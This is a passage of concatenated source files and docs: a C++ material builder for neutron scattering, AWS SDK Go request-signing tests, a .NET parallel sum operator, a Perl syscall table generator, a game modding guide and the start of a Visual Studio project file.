this object to allow chaining\n */\nMaterialBuilder &MaterialBuilder::setZParameter(double zparam) {\n if (m_massDensity) {\n throw std::runtime_error(\"MaterialBuilder::setZParameter() - Mass density \"\n \"already set, cannot use Z parameter as well.\");\n }\n m_zParam = zparam;\n return *this;\n}\n\n/**\n * Set the volume of unit cell\n * @param cellVolume The volume of the unit cell\n * @return A reference to the this object to allow chaining\n */\nMaterialBuilder &MaterialBuilder::setUnitCellVolume(double cellVolume) {\n if (m_massDensity) {\n throw std::runtime_error(\n \"MaterialBuilder::setUnitCellVolume() - Mass density \"\n \"already set, cannot use unit cell volume as well.\");\n }\n m_cellVol = cellVolume;\n return *this;\n}\n\n/**\n * Set the mass density of the sample in g / cc\n * @param massDensity The mass density in g / cc\n * @return A reference to the this object to allow chaining\n */\nMaterialBuilder &MaterialBuilder::setMassDensity(double massDensity) {\n if (m_zParam) {\n throw std::runtime_error(\"MaterialBuilder::setMassDensity() - Z parameter \"\n \"already set, cannot use mass density as well.\");\n }\n if (m_cellVol) {\n throw std::runtime_error(\n \"MaterialBuilder::setMassDensity() - Unit cell \"\n \"volume already set, cannot use mass density as well.\");\n }\n m_massDensity = massDensity;\n return *this;\n}\n\n/**\n * Set a value for the total scattering cross section\n * @param xsec Value of the cross section\n * @return A reference to the this object to allow chaining\n */\nMaterialBuilder &MaterialBuilder::setTotalScatterXSection(double xsec) {\n if (xsec != Mantid::EMPTY_DBL())\n m_totalXSection = xsec;\n return *this;\n}\n\n/**\n * Set a value for the coherent scattering cross section\n * @param xsec Value of the cross section\n * @return A reference to the this object to allow chaining\n */\nMaterialBuilder &MaterialBuilder::setCoherentXSection(double xsec) {\n m_cohXSection = xsec;\n return *this;\n}\n\n/**\n * Set a value for the incoherent scattering cross section\n * @param xsec Value of the cross section\n * @return A reference to the this object to allow chaining\n */\nMaterialBuilder &MaterialBuilder::setIncoherentXSection(double xsec) {\n m_incXSection = xsec;\n return *this;\n}\n\n/**\n * Set a value for the absorption cross section\n * @param xsec Value of the cross section\n * @return A reference to the this object to allow chaining\n */\nMaterialBuilder &MaterialBuilder::setAbsorptionXSection(double xsec) {\n m_absSection = xsec;\n return *this;\n}\n\n/**\n * Set a value for the attenuation profile filename\n * @param filename Name of the file containing the attenuation profile\n * @return A reference to the this object to allow chaining\n */\nMaterialBuilder &\nMaterialBuilder::setAttenuationProfileFilename(std::string filename) {\n if (!filename.empty()) {\n m_attenuationProfileFileName = filename;\n }\n return *this;\n}\n\n/**\n * Set a value for the attenuation profile search path\n * @param path Path to search\n */\nvoid MaterialBuilder::setAttenuationSearchPath(std::string path) {\n m_attenuationFileSearchPath = std::move(path);\n}\n\n/**\n * Build the new Material object from the current set of options\n * @return A new Material object\n */\nMaterial MaterialBuilder::build() const {\n Material::ChemicalFormula formula;\n\n if (!m_formula.empty()) {\n formula = Material::ChemicalFormula(m_formula);\n } else if (m_atomicNo) {\n formula = createCompositionFromAtomicNumber();\n } else if (!m_totalXSection || !m_cohXSection || !m_incXSection ||\n !m_absSection || !m_numberDensity) {\n throw std::runtime_error(\"Please specify one of chemical formula or atomic \"\n \"number or all cross sections and a number \"\n \"density.\");\n }\n\n const double density = getOrCalculateRho(formula);\n std::unique_ptr<Material> material;\n if (hasOverrideNeutronProperties()) {\n PhysicalConstants::NeutronAtom neutron = generateCustomNeutron();\n material = std::make_unique<Material>(m_name, neutron, density);\n } else {\n material = std::make_unique<Material>(m_name, formula, density);\n }\n if (m_attenuationProfileFileName) {\n AttenuationProfile materialAttenuation(m_attenuationProfileFileName.get(),\n m_attenuationFileSearchPath,\n material.get());\n material->setAttenuationProfile(materialAttenuation);\n }\n return *material;\n}\n\n/**\n * Create the NeutronAtom object from the atomic number\n * @return A new NeutronAtom object with the defined proprties\n */\nMaterial::ChemicalFormula\nMaterialBuilder::createCompositionFromAtomicNumber() const {\n Material::FormulaUnit unit{std::make_shared<PhysicalConstants::Atom>(getAtom(\n static_cast<uint16_t>(m_atomicNo.get()),\n static_cast<uint16_t>(m_massNo))),\n 1.};\n Material::ChemicalFormula formula;\n formula.emplace_back(unit);\n\n return formula;\n}\n\n/**\n * Return the manually set density or calculate it from other parameters\n * @param formula The chemical formula to calculate the number density from\n * @return The number density in atoms / Angstrom^3\n */\ndouble MaterialBuilder::getOrCalculateRho(\n const Material::ChemicalFormula &formula) const {\n double density;\n if (m_numberDensity && m_numberDensityUnit == NumberDensityUnit::Atoms) {\n density = m_numberDensity.get();\n } else {\n const double totalNumAtoms =\n std::accumulate(formula.cbegin(), formula.cend(), 0.,\n [](double n, const Material::FormulaUnit &f) {\n return n + f.multiplicity;\n });\n if (m_numberDensity &&\n m_numberDensityUnit == NumberDensityUnit::FormulaUnits) {\n density = m_numberDensity.get() * totalNumAtoms;\n } else if (m_zParam && m_cellVol) {\n density = totalNumAtoms * m_zParam.get() / m_cellVol.get();\n } else if (m_massDensity) {\n // g / cc -> atoms / Angstrom^3\n const double rmm =\n std::accumulate(formula.cbegin(), formula.cend(), 0.,\n [](double sum, const Material::FormulaUnit &f) {\n return sum + f.atom->mass * f.multiplicity;\n });\n density = (m_massDensity.get() * totalNumAtoms / rmm) *\n PhysicalConstants::N_A * 1e-24;\n } else if (!m_formula.empty() && m_formula.size() == 1) {\n density = m_formula.front().atom->number_density;\n } else {\n throw std::runtime_error(\n \"The number density could not be determined. Please \"\n \"provide the number density, ZParameter and unit \"\n \"cell volume or mass density.\");\n }\n }\n return density;\n}\n\nbool MaterialBuilder::hasOverrideNeutronProperties() const {\n return !isEmpty(m_totalXSection) || !isEmpty(m_cohXSection) ||\n !isEmpty(m_incXSection) || !isEmpty(m_absSection);\n}\n\nPhysicalConstants::NeutronAtom MaterialBuilder::generateCustomNeutron() const {\n NeutronAtom neutronAtom(0, 0., 0., 0., 0., 0., 0.);\n\n // generate the default neutron\n if (m_atomicNo) {\n auto atom = getAtom(static_cast<uint16_t>(m_atomicNo.get()),\n static_cast<uint16_t>(m_massNo));\n neutronAtom = atom.neutron;\n overrideNeutronProperties(neutronAtom);\n } else if (!m_formula.empty()) {\n double totalNumAtoms = 0.;\n for (const auto &formulaUnit : m_formula) {\n neutronAtom =\n neutronAtom + formulaUnit.multiplicity * formulaUnit.atom->neutron;\n totalNumAtoms += formulaUnit.multiplicity;\n }\n neutronAtom = (1. / totalNumAtoms) * neutronAtom;\n overrideNeutronProperties(neutronAtom);\n } else {\n neutronAtom.coh_scatt_xs = *m_cohXSection;\n neutronAtom.inc_scatt_xs = *m_incXSection;\n neutronAtom.tot_scatt_xs = *m_totalXSection;\n neutronAtom.abs_scatt_xs = *m_absSection;\n calculateScatteringLengths(neutronAtom);\n }\n neutronAtom.a_number = 0; // signifies custom neutron atom\n neutronAtom.z_number = 0; // signifies custom neutron atom\n\n return neutronAtom;\n}\n\n/**\n * Override default neutron properties with those supplied\n * @param neutron A reference to a NeutronAtom object\n */\nvoid MaterialBuilder::overrideNeutronProperties(\n PhysicalConstants::NeutronAtom &neutron) const {\n if (!isEmpty(m_totalXSection))\n neutron.tot_scatt_xs = m_totalXSection.get();\n if (!isEmpty(m_cohXSection))\n neutron.coh_scatt_xs = m_cohXSection.get();\n if (!isEmpty(m_incXSection))\n neutron.inc_scatt_xs = m_incXSection.get();\n if (!isEmpty(m_absSection))\n neutron.abs_scatt_xs = m_absSection.get();\n}\n\n} // namespace Kernel\n} // namespace Mantid\n"} {"text": "package v4_test\n\nimport (\n\t\"net/http\"\n\t\"net/url\"\n\t\"reflect\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/aws/aws-sdk-go/aws\"\n\t\"github.com/aws/aws-sdk-go/aws/request\"\n\t\"github.com/aws/aws-sdk-go/aws/signer/v4\"\n\t\"github.com/aws/aws-sdk-go/awstesting/unit\"\n\t\"github.com/aws/aws-sdk-go/service/s3\"\n)\n\nvar standaloneSignCases = []struct {\n\tOrigURI string\n\tOrigQuery string\n\tRegion, Service, SubDomain string\n\tExpSig string\n\tEscapedURI string\n}{\n\t{\n\t\tOrigURI: `/logs-*/_search`,\n\t\tOrigQuery: `pretty=true`,\n\t\tRegion: \"us-west-2\", Service: \"es\", SubDomain: \"hostname-clusterkey\",\n\t\tEscapedURI: `/logs-%2A/_search`,\n\t\tExpSig: `AWS4-HMAC-SHA256 Credential=AKID/19700101/us-west-2/es/aws4_request, SignedHeaders=host;x-amz-date;x-amz-security-token, Signature=79d0760751907af16f64a537c1242416dacf51204a7dd5284492d15577973b91`,\n\t},\n}\n\nfunc epochTime() time.Time { return time.Unix(0, 0) }\n\nfunc TestPresignHandler(t *testing.T) {\n\tsvc := s3.New(unit.Session)\n\tsvc.Handlers.Sign.SwapNamed(request.NamedHandler{\n\t\tName: v4.SignRequestHandler.Name,\n\t\tFn: func(r *request.Request) {\n\t\t\tv4.SignSDKRequestWithCurrentTime(r, epochTime)\n\t\t},\n\t})\n\n\treq, _ := svc.PutObjectRequest(&s3.PutObjectInput{\n\t\tBucket: aws.String(\"bucket\"),\n\t\tKey: aws.String(\"key\"),\n\t\tContentDisposition: aws.String(\"a+b c$d\"),\n\t\tACL: aws.String(\"public-read\"),\n\t})\n\treq.Time = epochTime()\n\turlstr, err := req.Presign(5 * time.Minute)\n\n\tif err != nil {\n\t\tt.Fatalf(\"expect no error, got %v\", err)\n\t}\n\n\texpectedHost := \"bucket.s3.mock-region.amazonaws.com\"\n\texpectedDate := \"19700101T000000Z\"\n\texpectedHeaders := \"content-disposition;host;x-amz-acl\"\n\texpectedSig := \"2d76a414208c0eac2a23ef9c834db9635ecd5a0fbb447a00ad191f82d854f55b\"\n\texpectedCred := \"AKID/19700101/mock-region/s3/aws4_request\"\n\n\tu, _ := url.Parse(urlstr)\n\turlQ := u.Query()\n\tif e, a := expectedHost, u.Host; e != a {\n\t\tt.Errorf(\"expect %v, got %v\", e, a)\n\t}\n\tif e, a := expectedSig, urlQ.Get(\"X-Amz-Signature\"); e != a {\n\t\tt.Errorf(\"expect %v, got %v\", e, a)\n\t}\n\tif e, a := expectedCred, urlQ.Get(\"X-Amz-Credential\"); e != a {\n\t\tt.Errorf(\"expect %v, got %v\", e, a)\n\t}\n\tif e, a := expectedHeaders, urlQ.Get(\"X-Amz-SignedHeaders\"); e != a {\n\t\tt.Errorf(\"expect %v, got %v\", e, a)\n\t}\n\tif e, a := expectedDate, urlQ.Get(\"X-Amz-Date\"); e != a {\n\t\tt.Errorf(\"expect %v, got %v\", e, a)\n\t}\n\tif e, a := \"300\", urlQ.Get(\"X-Amz-Expires\"); e != a {\n\t\tt.Errorf(\"expect %v, got %v\", e, a)\n\t}\n\tif a := urlQ.Get(\"X-Amz-Content-Sha256\"); len(a) != 0 {\n\t\tt.Errorf(\"expect no content sha256 got %v\", a)\n\t}\n\n\tif e, a := \"+\", urlstr; strings.Contains(a, e) { // + encoded as %20\n\t\tt.Errorf(\"expect %v not to be in %v\", e, a)\n\t}\n}\n\nfunc TestPresignRequest(t *testing.T) {\n\tsvc := s3.New(unit.Session)\n\tsvc.Handlers.Sign.SwapNamed(request.NamedHandler{\n\t\tName: v4.SignRequestHandler.Name,\n\t\tFn: func(r *request.Request) {\n\t\t\tv4.SignSDKRequestWithCurrentTime(r, epochTime)\n\t\t},\n\t})\n\n\treq, _ := svc.PutObjectRequest(&s3.PutObjectInput{\n\t\tBucket: aws.String(\"bucket\"),\n\t\tKey: aws.String(\"key\"),\n\t\tContentDisposition: aws.String(\"a+b c$d\"),\n\t\tACL: aws.String(\"public-read\"),\n\t})\n\treq.Time = epochTime()\n\turlstr, headers, err := req.PresignRequest(5 * time.Minute)\n\n\tif err != nil {\n\t\tt.Fatalf(\"expect no error, got %v\", err)\n\t}\n\n\texpectedHost := \"bucket.s3.mock-region.amazonaws.com\"\n\texpectedDate := \"19700101T000000Z\"\n\texpectedHeaders := \"content-disposition;host;x-amz-acl\"\n\texpectedSig := \"2d76a414208c0eac2a23ef9c834db9635ecd5a0fbb447a00ad191f82d854f55b\"\n\texpectedCred := \"AKID/19700101/mock-region/s3/aws4_request\"\n\texpectedHeaderMap := http.Header{\n\t\t\"x-amz-acl\": []string{\"public-read\"},\n\t\t\"content-disposition\": []string{\"a+b c$d\"},\n\t}\n\n\tu, _ := url.Parse(urlstr)\n\turlQ := u.Query()\n\tif e, a := expectedHost, u.Host; e != a {\n\t\tt.Errorf(\"expect %v, got %v\", e, a)\n\t}\n\tif e, a := expectedSig, urlQ.Get(\"X-Amz-Signature\"); e != a {\n\t\tt.Errorf(\"expect %v, got %v\", e, a)\n\t}\n\tif e, a := expectedCred, urlQ.Get(\"X-Amz-Credential\"); e != a {\n\t\tt.Errorf(\"expect %v, got %v\", e, a)\n\t}\n\tif e, a := expectedHeaders, urlQ.Get(\"X-Amz-SignedHeaders\"); e != a {\n\t\tt.Errorf(\"expect %v, got %v\", e, a)\n\t}\n\tif e, a := expectedDate, urlQ.Get(\"X-Amz-Date\"); e != a {\n\t\tt.Errorf(\"expect %v, got %v\", e, a)\n\t}\n\tif e, a := expectedHeaderMap, headers; !reflect.DeepEqual(e, a) {\n\t\tt.Errorf(\"expect %v, got %v\", e, a)\n\t}\n\tif e, a := \"300\", urlQ.Get(\"X-Amz-Expires\"); e != a {\n\t\tt.Errorf(\"expect %v, got %v\", e, a)\n\t}\n\tif a := urlQ.Get(\"X-Amz-Content-Sha256\"); len(a) != 0 {\n\t\tt.Errorf(\"expect no content sha256 got %v\", a)\n\t}\n\n\tif e, a := \"+\", urlstr; strings.Contains(a, e) { // + encoded as %20\n\t\tt.Errorf(\"expect %v not to be in %v\", e, a)\n\t}\n}\n\nfunc TestStandaloneSign_CustomURIEscape(t *testing.T) {\n\tvar expectSig = `AWS4-HMAC-SHA256 Credential=AKID/19700101/us-east-1/es/aws4_request, SignedHeaders=host;x-amz-date;x-amz-security-token, Signature=6601e883cc6d23871fd6c2a394c5677ea2b8c82b04a6446786d64cd74f520967`\n\n\tcreds := unit.Session.Config.Credentials\n\tsigner := v4.NewSigner(creds, func(s *v4.Signer) {\n\t\ts.DisableURIPathEscaping = true\n\t})\n\n\thost := \"https://subdomain.us-east-1.es.amazonaws.com\"\n\treq, err := http.NewRequest(\"GET\", host, nil)\n\tif err != nil {\n\t\tt.Fatalf(\"expect no error, got %v\", err)\n\t}\n\n\treq.URL.Path = `/log-*/_search`\n\treq.URL.Opaque = \"//subdomain.us-east-1.es.amazonaws.com/log-%2A/_search\"\n\n\t_, err = signer.Sign(req, nil, \"es\", \"us-east-1\", epochTime())\n\tif err != nil {\n\t\tt.Fatalf(\"expect no error, got %v\", err)\n\t}\n\n\tactual := req.Header.Get(\"Authorization\")\n\tif e, a := expectSig, actual; e != a {\n\t\tt.Errorf(\"expect %v, got %v\", e, a)\n\t}\n}\n\nfunc TestStandaloneSign_WithPort(t *testing.T) {\n\n\tcases := []struct {\n\t\tdescription string\n\t\turl string\n\t\texpectedSig string\n\t}{\n\t\t{\n\t\t\t\"default HTTPS port\",\n\t\t\t\"https://estest.us-east-1.es.amazonaws.com:443/_search\",\n\t\t\t\"AWS4-HMAC-SHA256 Credential=AKID/19700101/us-east-1/es/aws4_request, SignedHeaders=host;x-amz-date;x-amz-security-token, Signature=e573fc9aa3a156b720976419319be98fb2824a3abc2ddd895ecb1d1611c6a82d\",\n\t\t},\n\t\t{\n\t\t\t\"default HTTP port\",\n\t\t\t\"http://example.com:80/_search\",\n\t\t\t\"AWS4-HMAC-SHA256 Credential=AKID/19700101/us-east-1/es/aws4_request, SignedHeaders=host;x-amz-date;x-amz-security-token, Signature=54ebe60c4ae03a40948b849e13c333523235f38002e2807059c64a9a8c7cb951\",\n\t\t},\n\t\t{\n\t\t\t\"non-standard HTTP port\",\n\t\t\t\"http://example.com:9200/_search\",\n\t\t\t\"AWS4-HMAC-SHA256 Credential=AKID/19700101/us-east-1/es/aws4_request, SignedHeaders=host;x-amz-date;x-amz-security-token, Signature=cd9d926a460f8d3b58b57beadbd87666dc667e014c0afaa4cea37b2867f51b4f\",\n\t\t},\n\t\t{\n\t\t\t\"non-standard HTTPS port\",\n\t\t\t\"https://example.com:9200/_search\",\n\t\t\t\"AWS4-HMAC-SHA256 Credential=AKID/19700101/us-east-1/es/aws4_request, SignedHeaders=host;x-amz-date;x-amz-security-token, Signature=cd9d926a460f8d3b58b57beadbd87666dc667e014c0afaa4cea37b2867f51b4f\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tsigner := v4.NewSigner(unit.Session.Config.Credentials)\n\t\treq, _ := http.NewRequest(\"GET\", c.url, nil)\n\t\t_, err := signer.Sign(req, nil, \"es\", \"us-east-1\", epochTime())\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"expect no error, got %v\", err)\n\t\t}\n\n\t\tactual := req.Header.Get(\"Authorization\")\n\t\tif e, a := c.expectedSig, actual; e != a {\n\t\t\tt.Errorf(\"%s, expect %v, got %v\", c.description, e, a)\n\t\t}\n\t}\n}\n\nfunc TestStandalonePresign_WithPort(t *testing.T) {\n\n\tcases := []struct {\n\t\tdescription string\n\t\turl string\n\t\texpectedSig string\n\t}{\n\t\t{\n\t\t\t\"default HTTPS port\",\n\t\t\t\"https://estest.us-east-1.es.amazonaws.com:443/_search\",\n\t\t\t\"0abcf61a351063441296febf4b485734d780634fba8cf1e7d9769315c35255d6\",\n\t\t},\n\t\t{\n\t\t\t\"default HTTP port\",\n\t\t\t\"http://example.com:80/_search\",\n\t\t\t\"fce9976dd6c849c21adfa6d3f3e9eefc651d0e4a2ccd740d43efddcccfdc8179\",\n\t\t},\n\t\t{\n\t\t\t\"non-standard HTTP port\",\n\t\t\t\"http://example.com:9200/_search\",\n\t\t\t\"f33c25a81c735e42bef35ed5e9f720c43940562e3e616ff0777bf6dde75249b0\",\n\t\t},\n\t\t{\n\t\t\t\"non-standard HTTPS port\",\n\t\t\t\"https://example.com:9200/_search\",\n\t\t\t\"f33c25a81c735e42bef35ed5e9f720c43940562e3e616ff0777bf6dde75249b0\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tsigner := v4.NewSigner(unit.Session.Config.Credentials)\n\t\treq, _ := http.NewRequest(\"GET\", c.url, nil)\n\t\t_, err := signer.Presign(req, nil, \"es\", \"us-east-1\", 5*time.Minute, epochTime())\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"expect no error, got %v\", err)\n\t\t}\n\n\t\tactual := req.URL.Query().Get(\"X-Amz-Signature\")\n\t\tif e, a := c.expectedSig, actual; e != a {\n\t\t\tt.Errorf(\"%s, expect %v, got %v\", c.description, e, a)\n\t\t}\n\t}\n}\n"} {"text": "// ==++==\n//\n// Copyright (c) Microsoft Corporation. All rights reserved.\n// \n// ==--==\n// =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n//\n// FloatSumAggregationOperator.cs\n//\n// <OWNER>igoro</OWNER>\n//\n// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\nusing System.Collections.Generic;\nusing System.Diagnostics.Contracts;\nusing System.Threading;\n\nnamespace System.Linq.Parallel\n{\n /// <summary>\n /// An inlined sum aggregation and its enumerator, for floats. \n /// </summary>\n internal sealed class FloatSumAggregationOperator : InlinedAggregationOperator<float, double, float>\n {\n\n //---------------------------------------------------------------------------------------\n // Constructs a new instance of a sum associative operator.\n //\n\n internal FloatSumAggregationOperator(IEnumerable<float> child) : base(child)\n {\n }\n\n //---------------------------------------------------------------------------------------\n // Executes the entire query tree, and aggregates the intermediate results into the\n // final result based on the binary operators and final reduction.\n //\n // Return Value:\n // The single result of aggregation.\n //\n\n protected override float InternalAggregate(ref Exception singularExceptionToThrow)\n {\n // Because the final reduction is typically much cheaper than the intermediate \n // reductions over the individual partitions, and because each parallel partition\n // will do a lot of work to produce a single output element, we prefer to turn off\n // pipelining, and process the final reductions serially.\n using (IEnumerator<double> enumerator = GetEnumerator(ParallelMergeOptions.FullyBuffered, true))\n {\n // We just reduce the elements in each output partition.\n double sum = 0.0;\n while (enumerator.MoveNext())\n {\n checked\n {\n sum += enumerator.Current;\n }\n }\n\n return (float)sum;\n }\n }\n\n //---------------------------------------------------------------------------------------\n // Creates an enumerator that is used internally for the final aggregation step.\n //\n\n protected override QueryOperatorEnumerator<double,int> CreateEnumerator<TKey>(\n int index, int count, QueryOperatorEnumerator<float, TKey> source, object sharedData,\n CancellationToken cancellationToken)\n {\n return new FloatSumAggregationOperatorEnumerator<TKey>(source, index, cancellationToken);\n }\n\n //---------------------------------------------------------------------------------------\n // This enumerator type encapsulates the intermediary aggregation over the underlying\n // (possibly partitioned) data source.\n //\n\n private class FloatSumAggregationOperatorEnumerator<TKey> : InlinedAggregationOperatorEnumerator<double>\n {\n private readonly QueryOperatorEnumerator<float, TKey> m_source; // The source data.\n\n //---------------------------------------------------------------------------------------\n // Instantiates a new aggregation operator.\n //\n\n internal FloatSumAggregationOperatorEnumerator(QueryOperatorEnumerator<float, TKey> source, int partitionIndex,\n CancellationToken cancellationToken) :\n base(partitionIndex, cancellationToken)\n {\n Contract.Assert(source != null);\n m_source = source;\n }\n\n //---------------------------------------------------------------------------------------\n // Tallies up the sum of the underlying data source, walking the entire thing the first\n // time MoveNext is called on this object.\n //\n\n protected override bool MoveNextCore(ref double currentElement)\n {\n float element = default(float);\n TKey keyUnused = default(TKey);\n\n QueryOperatorEnumerator<float, TKey> source = m_source;\n if (source.MoveNext(ref element, ref keyUnused))\n {\n // We just scroll through the enumerator and accumulate the sum.\n double tempSum = 0.0f;\n int i = 0;\n do\n {\n if ((i++ & CancellationState.POLL_INTERVAL) == 0)\n CancellationState.ThrowIfCanceled(m_cancellationToken);\n\n tempSum += element;\n }\n while (source.MoveNext(ref element, ref keyUnused));\n\n // The sum has been calculated. Now just return.\n currentElement = tempSum;\n return true;\n }\n\n return false;\n }\n\n //---------------------------------------------------------------------------------------\n // Dispose of resources associated with the underlying enumerator.\n //\n\n protected override void Dispose(bool disposing)\n {\n Contract.Assert(m_source != null);\n m_source.Dispose();\n }\n }\n }\n}"} {"text": "#!/usr/bin/env perl\n# Copyright 2009 The Go Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style\n# license that can be found in the LICENSE file.\n#\n# Generate system call table for DragonFly from master list\n# (for example, /usr/src/sys/kern/syscalls.master).\n\nuse strict;\n\nif($ENV{'GOARCH'} eq \"\" || $ENV{'GOOS'} eq \"\") {\n\tprint STDERR \"GOARCH or GOOS not defined in environment\\n\";\n\texit 1;\n}\n\nmy $command = \"mksysnum_dragonfly.pl \" . join(' ', @ARGV);\n\nprint <<EOF;\n// $command\n// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT\n\n// +build $ENV{'GOARCH'},$ENV{'GOOS'}\n\npackage unix\n\nconst (\nEOF\n\nwhile(<>){\n\tif(/^([0-9]+)\\s+STD\\s+({ \\S+\\s+(\\w+).*)$/){\n\t\tmy $num = $1;\n\t\tmy $proto = $2;\n\t\tmy $name = \"SYS_$3\";\n\t\t$name =~ y/a-z/A-Z/;\n\n\t\t# There are multiple entries for enosys and nosys, so comment them out.\n\t\tif($name =~ /^SYS_E?NOSYS$/){\n\t\t\t$name = \"// $name\";\n\t\t}\n\t\tif($name eq 'SYS_SYS_EXIT'){\n\t\t\t$name = 'SYS_EXIT';\n\t\t}\n\n\t\tprint \"\t$name = $num; // $proto\\n\";\n\t}\n}\n\nprint <<EOF;\n)\nEOF\n"} {"text": "ADDITIONS\n\n1.1 Adding an item\n 1) Edit itype.h. Change the enum item_id and insert a unique identifier for\n your new item type. Be sure to put it among similar items.\n 2) Edit itypedef.cpp. Macros are used for all item types, and they are pretty\n self-explanatory. Be ABSOLUTELY sure that you insert the macro at the same\n point in the list as you inserted the identifier in item_id!\n 3) Your item type is now valid, but won't be spawned. If you want it to be\n spawned among similar items, edit mapitemsdef.cpp. Find the appropriate\n array(s), and insert the identifier for your item (e.g. itm_aspirin). Make\n sure it comes in before the NULL at the end of the list.\n 5) Some items, like tools or food, also take an iuse::function reference.\n Edit iuse.h and include the function in the class declaration; then edit\n iuse.cpp and define your function. Functions may be shared among different\n item types. \n\n1.2 Adding a monster\n 1) Edit mtype.h. Change the enum mon_id and insert a unique identifier for\n your new monster type. Be sure to put it among similar monsters.\n 2) Edit montypedef.cpp. A macro is used for monsters and it is pretty\n straightforward (Any of this ring a bell?). Be ABSOLUTELY sure that you\n insert the macro at the same point in the list as your inserted the\n identifier in mon_id!\n 3) Your monster type is now valid, but won't be spawned. If you want it to be\n spawned among similar monsters, edit mongroupdef.cpp. Find the appropriate\n array, and insert the identifier for your monster (e.g, mon_zombie). Make\n sure it comes in before the NULL at the end of the list.\n 4) If you want your monster to drop items, edit monitemsdef.cpp. Make a new\n array for your monster type with all the map item groups it may carry, and a\n chance value for each.\n 5) Your monster may have a special attack, a monattack::function reference.\n Edit monattack.h and include the function in the class definition; then\n edit monattack.cpp and define your function. Functions may be shared among\n different monster types. Be aware that the function should contain a\n statement that the monster uses to decide whether or not to use the attack,\n and if they do, should reset the monster's attack timer.\n 7) Just like attacks, some monsters may have a special function called when\n they die. This works the same as attacks, but the relevent files are\n mondeath.h and mondeath.cpp.\n\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"12.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n <ItemGroup Label=\"ProjectConfigurations\">\n <ProjectConfiguration Include=\"Debug|Win32\">\n <Configuration>Debug</Configuration>\n <Platform>Win32</Platform>\n </ProjectConfiguration>\n <ProjectConfiguration Include=\"Debug|x64\">\n <Configuration>Debug</Configuration>\n <Platform>x64</Platform>\n </ProjectConfiguration>\n <ProjectConfiguration Include=\"Release|Win32\">\n <Configuration>Release</Configuration>\n <Platform>Win32</Platform>\n </ProjectConfiguration>\n <ProjectConfiguration Include=\"Release|x64\">\n <Configuration>Release</Configuration>\n <Platform>x64</Platform>\n </ProjectConfiguration>\n </ItemGroup>\n <PropertyGroup Label=\"Globals\">\n <ProjectGuid>{259F29FB-40F1-F04D-940B-BCEA3ED16B75}</ProjectGuid>\n <RootNamespace>HelloWorld</RootNamespace>\n <Keyword>Win32Proj</Keyword>\n </PropertyGroup>\n <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n <ConfigurationType>Application</ConfigurationType>\n <CharacterSet>MultiByte</CharacterSet>\n <UseDebugLibraries>true</UseDebugLibraries>\n <PlatformToolset>v120</PlatformToolset>\n </PropertyGroup>\n <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n <ConfigurationType>Application</ConfigurationType>\n <CharacterSet>MultiByte</CharacterSet>\n <UseDebugLibraries>true</UseDebugLibraries>\n <PlatformToolset>v120</PlatformToolset>\n </PropertyGroup>\n <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n <ConfigurationType>Application</ConfigurationType>\n <CharacterSet>MultiByte</CharacterSet>\n <UseDebugLibraries>false</UseDebugLibraries>\n <PlatformToolset>v120</PlatformToolset>\n </PropertyGroup>\n <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n <ConfigurationType>Application</ConfigurationType>\n <CharacterSet>MultiByte</CharacterSet>\n <UseDebugLibraries>false</UseDebugLibraries>\n <PlatformToolset>v120</PlatformToolset>\n </PropertyGroup>\n <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n <ImportGroup Label=\"ExtensionSettings\">\n </ImportGroup>\n <ImportGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"PropertySheets\">\n <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n </ImportGroup>\n <ImportGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"PropertySheets\">\n <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n </ImportGroup>\n <ImportGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"PropertySheets\">\n <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n </ImportGroup>\n <ImportGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"PropertySheets\">\n <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n </ImportGroup>\n <PropertyGroup Label=\"UserMacros\" />\n <PropertyGroup>\n <_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>\n <OutDir Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">bin\\x32\\Debug\\</OutDir>\n <IntDir Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">obj\\x32\\Debug\\HelloWorld\\</IntDir>\n <TargetName Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">HelloWorld</TargetName>\n 